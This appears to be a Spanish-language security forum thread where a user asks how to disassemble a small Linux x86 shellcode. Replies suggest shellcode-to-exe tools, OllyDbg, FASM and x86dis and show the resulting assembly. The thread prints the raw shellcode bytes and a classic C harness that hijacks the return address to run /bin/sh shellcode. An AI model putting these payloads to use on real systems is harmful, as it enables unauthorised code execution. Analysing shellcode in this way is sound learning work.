Bueno, perdonadadme el titulo, un poco estafalario xD...
Bueno, mi duda es...
Tengo una shellcode, y me gustaria saber las intstrucciones en ensamblador que tiene... Como hago eso?
Para el que lo quiera saber, mi shellcode es:
\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
"\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
"\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
Bueno, es para analizarla.. Ocupa bastante pocos bytes, va a ser interesante xD...
Bueno, es pasar eso a ensamblador... como?
¿Un desensamblador?
Negativo pues no esta compilado xD...
Como lo compilo ? Quiero decir, la shellcode sola...
:P :P :P
Simple cojes cualquier exe, lo abres con el OllyDBG y buscas una zona en blanco, es decir llena de 00 y modificas por los bytes que tienes en la shellcode y miras que instrucciones son y que hace... saludos
Puedes pasarte por aqui:
http://sandsprite.com/shellcode_2_exe.php (http://sandsprite.com/shellcode_2_exe.php)
o por aqui:
http://www.data0.net/?page_id=618 (http://www.data0.net/?page_id=618)
Conviertes tu shellcode a exe, te lo descargas y lo metes por ejemplo en el olly y tendrás algo como esto
00401020 . /EB 12 JMP SHORT shellcod.00401034
00401022 $ |31C9 XOR ECX,ECX
00401024 . |5E POP ESI ; kernel32.7C816FE7
00401025 . |56 PUSH ESI
00401026 . |5F POP EDI ; kernel32.7C816FE7
00401027 . |B1 15 MOV CL,15
00401029 > |8A06 MOV AL,BYTE PTR DS:[ESI]
0040102B . |FEC8 DEC AL
0040102D . |8806 MOV BYTE PTR DS:[ESI],AL
0040102F . |46 INC ESI
00401030 .^|E2 F7 LOOPD SHORT shellcod.00401029
00401032 .-|FFE7 JMP EDI ; ntdll.7C920228
00401034 > \E8 E9FFFFFF CALL shellcod.00401022
00401039 . 32C1 XOR AL,CL
0040103B . 32CA XOR CL,DL
0040103D . 52 PUSH EDX ; ntdll.KiFastSystemCallRet
0040103E . 6930 74690169 IMUL ESI,DWORD PTR DS:[EAX],69016974
00401044 . 3063 6A XOR BYTE PTR DS:[EBX+6A],AH
00401047 . 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command
00401048 . 8AE4 MOV AH,AH
0040104A . B1 0C MOV CL,0C
0040104C . CE INTO
0040104D . 8100 00000000 ADD DWORD PTR DS:[EAX],0
O si te quieres ahorrar la conversión puedes hacer lo que te ha dicho cronux, copias los bytes de tu shellcode directamente en un ejecutable y después lo metes en el olly.
También puedes descargar el Malcode Analysis Pack de idefense donde entre otras herramientas tienes el shellcode2exe para montartelo en local y no depender de ninguna web, te dejo el enlace:
http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack (http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack)
Saludos
Bueno, gracias por las respuestas, pero el sistema que uso es linux y me convierte a un Windows. Y Wine no puede hacer nada :o :o
Alguna idea?
Debes reemplazar los '\' con '0' y ensamblarlo con FASM que está disponible para Linux tambien:
Citarhttp://foro.elhacker.net/bugs_y_exploits/shellcodeopcode_to_asm-t277997.0.html (http://foro.elhacker.net/bugs_y_exploits/shellcodeopcode_to_asm-t277997.0.html)
Muchas gracias jaja ahora mismo lo pruebo...
Aparte, he econtrado otra cosa por si esa no me va xD...
http://blogs.udp.cl/obtener-c%C3%B3digo-assembler-de-un-shellcode-desde-el-terminal
Mea culpa por no buscar bien...
Ok, ya comentas como te fue :)
Comento que no me fue :-\
El fasm no me compila xD... me echas una manita ?
lo modifique pero nada ...
Y mi metodo no me va. Cosa curiosa:
http://blogs.udp.cl/obtener-c%C3%B3digo-assembler-de-un-shellcode-desde-el-terminal
echo -ne "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" | x86dis -e 0 -s intel
OK, code de acuerdo...
echo -ne "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81" | x86dis -e 0 -s intel
Pum pum pum...
jmp 0x00000014
Que hago? Muchas gracias de todos modos. Alguna idea?
Qué distro estás usando? A lo mejor esto te sirve para no tener que compilarlo: http://fasmdeb.googlecode.com/files/fasm%201.69.24i386.deb (http://fasmdeb.googlecode.com/files/fasm%201.69.24i386.deb)
Citar
char shellcode [ ] = "\xeb\x2a\x5e.../bin/ sh ";
void main() {
int *ret;
ret = ( int *)&ret + 2;
(*ret) = ( int)shellcode ; }
Fuente: http://www.google.es/url?sa=t&source=web&cd=1&sqi=2&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.cs.northwestern.edu%2F~ychen%2Fclasses%2Fcs395-w05%2Flectures%2FSmashing%2520the%2520Stack.ppt&rct=j&q=ret%20%3D%20(int%20*)%26ret%20%2B%202%3B&ei=6RAiTYr9A8Ws8gPRz4DvBQ&usg=AFQjCNER0MzcA3Y_0xJwX7rfZNKbEgTKCw&sig2=j6DwqrVTlUi3Q0NvzDATVQ&cad=rja (http://www.google.es/url?sa=t&source=web&cd=1&sqi=2&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.cs.northwestern.edu%2F~ychen%2Fclasses%2Fcs395-w05%2Flectures%2FSmashing%2520the%2520Stack.ppt&rct=j&q=ret%20%3D%20(int%20*)%26ret%20%2B%202%3B&ei=6RAiTYr9A8Ws8gPRz4DvBQ&usg=AFQjCNER0MzcA3Y_0xJwX7rfZNKbEgTKCw&sig2=j6DwqrVTlUi3Q0NvzDATVQ&cad=rja)
Donde dice "\xeb\x2a\x5e.../bin/ sh " deberías colocar tu S.C.
Disculpas por modificar tanto el post :rolleyes:
Quieres decir que use un code en C para ejecutar la shellcode con un puntero? Eso lo use antes, pero no salio bien el resultado, creo...
Ahora modifico en linux, que estoy en Win32, y pongo el resultado, pero a mi no me ha dado resultado...
PD: Estoy en Ubuntu 9.04, creo que ha sido fallo mio, pero no va muy bien...
PD2: Shutting down...
Parece que tu shellcode fue testeada en Ubuntu 8.04 Hardy Heron.
Mira este enlace: http://www.shell-storm.org/shellcode/files/shellcode-690.php (http://www.shell-storm.org/shellcode/files/shellcode-690.php)
Sep, la saque de db-exploits, pero es la misma... Perdonad por las molestias, ha sido fallo mio...
Al final lo consegui buscando en el desensamblado de tu code, que era de donde saque mi code jaja.
PD: Solucionado. Al final me repase un poco esa, y lo vi un poco oscuro, no lo entendia muy bien ... De todos modos he hecho otra mucho mejor, de 25 bytes.
http://foro.elhacker.net/bugs_y_exploits/iexcl_mi_primera_shellcode_linux_i386_25_bytes-t315722.0.html;msg1563614#new
Bueno, al final el tema callo a nada.
Muchisimas gracias por todo
En el post pongo los agradecimientos ;)